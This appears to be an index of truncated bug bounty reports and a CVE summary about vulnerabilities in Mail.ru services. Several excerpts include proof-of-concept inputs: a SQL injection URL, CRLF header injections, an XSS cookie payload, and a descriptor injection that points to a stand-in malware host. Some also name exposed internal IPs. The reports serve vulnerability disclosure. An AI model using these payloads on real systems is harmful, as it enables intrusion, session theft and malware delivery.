CVE-2014-5804

The Mail.Ru Dating aka ru.mail.love application 3 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-5804

The CVE-2014-5804 entry concerns the Mail.Ru Dating (ru.mail.love) Android app version 3, which fails to verify X.509 certificates when connecting to SSL servers. This certificate validation flaw enables man-in-the-middle attackers to spoof legitimate servers and potentially exfiltrate sensitive ...

Mail.ru: XSS via .eml file

сначала смотрим скриншот : XSS возможен через .eml вложения, уязвимо имя .eml файла, которое присваивается из названия Темы сообщения строка Subject в eml. JS отыграет на странице превью файлов https://e.mail.ru/attaches-viewer/?... шаги для воспроизведения пересылая письмо: -...

Mail.ru: Не уверен, что этому место на периметре: 94.100.180.95, 94.100.180.96, 94.100.180.97, 94.100.180.98

Там торчит вебка Elastisearch, явно для внутренних нужд...

Mail.ru: Version Disclosure (NginX)

POC : url : https://calendar.mail.ru Open up your google chrome browser. Click right mouse button and choose Inspect Element. Put website url in address bar. https://calendar.mail.ru Now choose network option from Inspect Element menu. Response Headers Connection:close...

Mail.ru: cloud.mail.ru: File upload XSS using Content-Type header

Можно еще вот так сделать. POST /upload/B1BA0E3F65D7EAA994C0EA6386E014EB569EA5E1.html?fileapi14057587543286 HTTP/1.1 Host: cloclo9-upload.cloud.mail.ru User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:28.0 Gecko/20100101 Firefox/28.0 Accept:...

Mail.ru: files.mail.ru: HTTP Header Injection

Прокидывается хэдер + работает X-Accel-Redirect GET /rus?back=%0d%0aX-Accel-Redirect:/robots.txt%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0ayarrrrrrrr HTTP/1.1 Host: files.mail.ru Accept: / Accept-Language: en User-Agent: Mozilla/5.0 compatible; MSIE 9.0;...

Mail.ru: m.agent.mail.ru: Подделываем j2me app-descriptor

Можно подправить : Ну и соответственно, юзеру выдать черте-что вместо побильного аппа : Принцип XSS через параметр "u". GET /cgi-bin/MobileAgent.jad?part=tree37&stat=&u=test%0d%0aMIDlet-Jar-URL:%20http://malware.site.com/Malware.jar&p=0&f=0&g=0&b=0&c=0&s=0&x=0&r=13518402519 HTTP/1.1 Host:...

Mail.ru: target.mail.ru: XSS через Referer

POST /offer HTTP/1.1 Host: target.mail.ru User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:28.0 Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer:...

Mail.ru: target.mail.ru: XSS

POST /ajax/uploadimage/ HTTP/1.1 Host: target.mail.ru User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:28.0 Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, defla...

Mail.ru: Possibility to attach any mobile number to any email

Hi. With this bug you can attach any mobile number to any email box without any notification to the user. And after some time, you can get access to the email using the attached phone number. To reproduce the steps, you will need mobile phone with any working number, Firefox and Tamper Data plugi...

Mail.ru: tp-demo1.corp.mail.ru: SVN наружу торчит

http://188.93.56.43:3690 svn://188.93.56.43 success 2 2 edit-pipeline svndiff1 absent-entries commit-revprops depth log-revprops partial-replay Непорядок :...

Mail.ru: my.mail.ru: HTTP Header Injection

HTTP Header Injection нашелся, вот = POST /cgi-bin/my/ajax HTTP/1.1 Host: my.mail.ru User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:28.0 Gecko/20100101 Firefox/28.0 Accept: / Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type:...

Mail.ru: e.mail.ru: SMS spam with custom content

Привет! Суть в том, что можно неограниченно ! рассылать на любые номера SMS и контролировать содержание второй части SMS-ки. Таким образом можно слать как фейковые события, так и делать рассылку рекламы/поддельные сообщения, итд. Вида "для подтверждения вашего ящика отправьте полученный код на...

Mail.ru: Cross Site Scripting

Hi Team , Have found a bug in your main domain ".mail.ru" Vulnerable URL: http://deti.mail.ru/mama/ Vulnerable Parameter: Display text , URL links Payload:"/ Steps to Reproduce: 1.Go to the vulnerable link. 2.Click on "Share experiences" , this will open a form. 3.Click on "Insert Link" , give th...

Mail.ru: Раскрытие полного серверного пути

Приветствую! Уязвимый ресурс - http://s2.11x11.ru Бага - http://s2.11x11.ru/config/config.php Fatal error: requireonce function.require: Failed opening required 'config/consts.inc.php' includepath='.:/usr/share/pear:/usr/share/php' in /var/www/11x11.ru/config/config.php on line 2...

Mail.ru: SQL Injection on 11x11.mail.ru

Приветствую! SQL Inject boolean-based True http://11x11.mail.ru/xml/games/champ.php?act=groups&division=6&tournament=66+and+1=ifsubstr@@version,1,5=0x352e302e37,1,2%23 Сезон 22, Дивизион 3-C False...

Mail.ru: Reflected XSS

Уязвимость существует на сайте http://aa.mail.ru/ в сценарии http://aa.mail.ru/dynamic/user/?a=register Посылаем такой пакет данных POST mail=alertdocument.cookie&mailrudomains=mail.ru&passwordmailru=&passwordgeneral=&name=kaktakoaddd Получаем активный alert...

Mail.ru: Перечисление каталогов за счёт уязвимости в IIS

Приветствую! Сервер с багой : game1.bb.mail.ru Можно попытаться перебирать каталоги за счёт уязвимости в IIS. PoC game1.bb.mail.ru/images/1/a.aspx?aspxerrorpath=/ game1.bb.mail.ru/images/2/a.aspx?aspxerrorpath=/ Можно запустить сканнер и пофаззить эту багу более конкретно...

Mail.ru: [corp.mail.ru] CRLF Injection / Insecure nginx configuration

Сценарий перенаправления с http://corp.mail.ru/ на http://corp.mail.ru/ru/ уязвим к атаки типа CRLF Injection. PoC Установка cookie test=test на .mail.ru Подвержены все браузеры, кроме FireFox http://corp.mail.ru/%0dSet-Cookie:test=test;domain=.mail.ru; Может быть использовано в комбинации с...